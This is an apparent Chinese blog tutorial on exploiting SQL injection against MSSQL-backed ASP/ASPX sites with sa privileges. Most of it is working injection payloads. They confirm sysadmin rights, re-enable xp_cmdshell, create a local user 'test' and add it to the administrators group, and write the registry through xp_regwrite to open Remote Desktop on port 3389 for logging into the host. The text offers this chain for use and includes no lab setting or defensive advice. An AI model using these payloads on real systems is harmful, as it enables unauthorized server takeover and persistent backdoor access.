mssql数据库注入-sa权限

文章详细阐述了如何通过SQL注入检测和利用MSSQL数据库的SA权限,包括检查数据库存在、验证用户权限、启用扩展存储过程以及利用这些过程来添加用户、修改系统设置和开启远程桌面连接,从而对服务器进行潜在的非法操作。

准备一个网站,mssql是微软数据库,网站后缀是asp或者aspx,权限涉及sa,dbowner,public。

sa权限注入

找到注入点后,检查是否是mssal数据库用 

and exists (select * from%20sysobjects)

sysobjects是自带数据库,和mysql的information_schema性质类同,如果数据库的名字错误,界面会报错

 判断用户名and system_user=0

 检查是不是sa权限

and 1=(select IS_SRVROLEMEMBER('sysadmin'))

没报错,说明是sa权限,可以利用拓展,将权限可以换成db_owner或者public就是判断权限归属

检查扩展存储是否存在

and 1=(select count(*) from master.dbo.sysobjects where name ='xp_cmdshell') 

如果没有拓展程序可以进行恢复

;EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;--

 

用拓展程序添加账户

;exec master..xp_cmdshell 'net user test test /add'

master库里面执行拓展程序,创建一个test账户密码test

test账户添加到本地管理员组

;exec master..xp_cmdshell 'net localgroup administrators test /add' 

可以看到创建时间

 开启3389端口进行远程连接宿主机

;exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0;

xp_regwrite是另一个远程拓展程序,上面是用注册表远程桌面控制,开启3389,REG_DWORD如果是0就是开启,是1就是关闭。

开启端口就可以连接宿主机

用刚才创建的那个test账户就能登录到宿主机

 

 

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值